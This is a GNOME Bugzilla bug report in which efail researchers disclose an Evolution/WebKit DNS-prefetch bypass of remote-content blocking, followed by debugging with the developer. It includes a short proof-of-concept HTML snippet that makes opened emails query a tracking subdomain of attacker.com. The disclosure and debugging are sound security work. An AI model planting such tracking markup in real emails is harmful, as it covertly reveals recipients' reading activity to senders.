GNOME Bugzilla – Bug 793449
DNS Prefetching not always disabled in EWebVIew
Last modified: 2018-05-15 00:24:16 UTC
Created attachment 368344 [details] Proof-of-concept .eml file Dear Evolution Devs, In the scope of academic research within the efail project, in cooperation with Ruhr-University Bochum and FH Münster, Germany we systematically analyzed Evolution for `web bugs' and other backchannels which have an impact on the user's privacy. The results are as follows. *** Introduction *** It is well known that spammers abuse `web bugs' -- 1x1 pixel images in HTML emails -- to track if their mails to a certain address are actually read. To respect the privacy of their customers most email clients, by default, block external content. However, we found a bypass for remote content blocking in Evolution. *** The Impact *** The issue allows the sender of an email to leak information such as: - if and when the mail has been read - the number of users on a mailing list *** The Bypass *** The following HTML email triggers a DNS request to the DNS server responsible for tracking-id.attacker.com when the email is opened in Evolution (without any user interaction required): <meta http-equiv="x-dns-prefetch-control" content="on"> <a href="http://tracking-id.attacker.com"></a> Note that it is easy to set up a DNS server controlled by the spammer responsible for her own domain, attacker.com, and all its subdomains. Greetings, Jens
Thanks for a bug report. Could you specify what exact Evolution version you are using and what exact WebKitGTK+ version you are using with that, please? This is like bug #741313, which had been fixed several years ago. Users tend to use outdated versions, sometimes due to being stuck with Long Term Support distributions, which do not update to the latest versions of the applications (which is kind of expected in LTS distros). I just verified that with the current development version of Evolution (after 3.27.90 release) and with WebKitGTK+ 2.18.5, there is not done any DNS precaching, while when I revert changes related to bug #741313 (the code changed meanwhile) it does the prefetch with your message, thus the current code works properly, from my point of view.
For the tests we used Evolution 3.22.6 on Debian GNU/Linux 9.3 with the libwebkit2gtk-4.0-37:amd64 (version 2.16.6+0+deb9u1) package installed. Note that easy prefetching of <a href links or images does not work in Evolution, neither does: <link href="http://tracking-id.attacker.com" rel="prefetch"> (bug #741313) But prefetching can be re-enabled (at least for the older version we tested) in the HTML content itself by the spammer: <meta http-equiv="x-dns-prefetch-control" content="on"> Here is the related bug discussion for Trojitá / qtwebkit: https://bugs.kde.org/show_bug.cgi?id=390452
(In reply to Jens Mueller from comment #2) > For the tests we used Evolution 3.22.6 on Debian GNU/Linux 9.3 with the > libwebkit2gtk-4.0-37:amd64 (version 2.16.6+0+deb9u1) package installed. I used your test message (fixed it by adding couple missing headers to be able to import it into Evolution: Message-ID: <111> Date: Mon, 19 Feb 2018 17:36:21 +0000 (UTC) ), then I opened it in Evolution. I do not know how to verify that the DNS prefetch had been issued or not, other than setting a breakpoint to soup_session_prefetch_dns(), which WebKitGTK+ seems to be using, inside WebKitNetworkProcess. When evolution was without any change, then the function was not called. When I changed it to "enable-dns-prefetching", TRUE, in e_web_view_get_default_webkit_settings(), then that soup_session_prefetch_dns() had been called. I retried also with WebKitGTK+ 2.16.4-1 (I do not have the same version as you have, unfortunately), then I used gdb and attached to evolution, WebKitWebProcess and WebKitNetworkProcess processes, after which I selected the test message in evolution. None of the processes hit the call of soup_session_prefetch_dns(). How do you verify the DNS query had been done, please? In any case, this is clearly an issue in WebKit, you should file a bug there [1], instead of in each application using it, including QtWebKit (as long as they derive from the upstream code, instead of bundle WebKit), also supposing that the applications disable DNF prefetching within the WebKit settings, which at least Evolution does. [1] https://bugs.webkit.org/enter_bug.cgi?product=WebKit
> How do you verify the DNS query had been done, please? We run our own attacker.com-like authoritative name server for the tests and checked the queries. (But Wireshark should do fine, too.) > In any case, this is clearly an issue in WebKit, you should file a bug there Full ack. We did not know the cause is WebKit, until reporting it to the Gnome and KDE bugtrackers...
(In reply to Jens Mueller from comment #4) > We run our own attacker.com-like authoritative name server for the tests and > checked the queries. (But Wireshark should do fine, too.) I see. Any hint what to search for in the wireshark log? Maybe just the host name in the link? I do not use it often (I didn't use it for years), thus my knowledge of it is rather rusty.
*** Bug 793594 has been marked as a duplicate of this bug. ***
I tried also with Wireshark, but no luck, I do not see any DNS fetch or anything with the "attacker.com" in itself in the log, after opening the mail in evolution for the first time. Are you sure the hit you noticed on your server is not caused by someone else also testing, in another software?
Can reproduce the issue (DNS query to attacker.com once mail is opened) in Evolution 3.26.5-1 on Kali Rolling with libwebkit2gtk-4.0.37:amd64 (version 2.18.6-1) and Wireshark (udp.port == 53). Weird. Either things are already fixed in newer WebKit versions, or you may not see the DNS query because of local caching? Try a new hostname string like random.attacker.com to prefetch.
Okay, I tried with the below filter in wireshark: udp.port == 53 and udp contains "attack" and it didn't hit anything. But I managed to reproduce it. When I uses steps: a) open evolution with message preview off b) double-click the message to open it in a separate window then it doesn't reproduce the issue. I have preview off to be able to influence when the message is shown. When I use: a) open evolution with message preview off b) turn on message preview, while the selected message is the test message then it does the DNS search and wireshark notices like 8 packets with DNS queries. Thus there is a difference which message preview is used. I'll look on it. Thanks for the patience you have with me.
(In reply to Milan Crha from comment #9) > b) turn on message preview, while the selected message is the test message > then it does the DNS search and wireshark notices like 8 packets with DNS > queries. Hrn, no, it's not it. The trick is to open the message as the second, regardless whether in the message preview or in the separate window. In other words, the first time I see the message it does no DNS prefretching, but viewing the message for the second time does the DNS prefetching. I'll investigate it further and will update the bug when I know more details.
Thanks fro filling the upstream bug: https://bugs.webkit.org/show_bug.cgi?id=182924 I attached my proposal to the issue there. As this is out of Evolution hands, I'm closing it. Feel free (you should) point the QtWebkit folks to that bug as well, thus they can follow what upstream will do in WebKit (being it my proposal or a different change).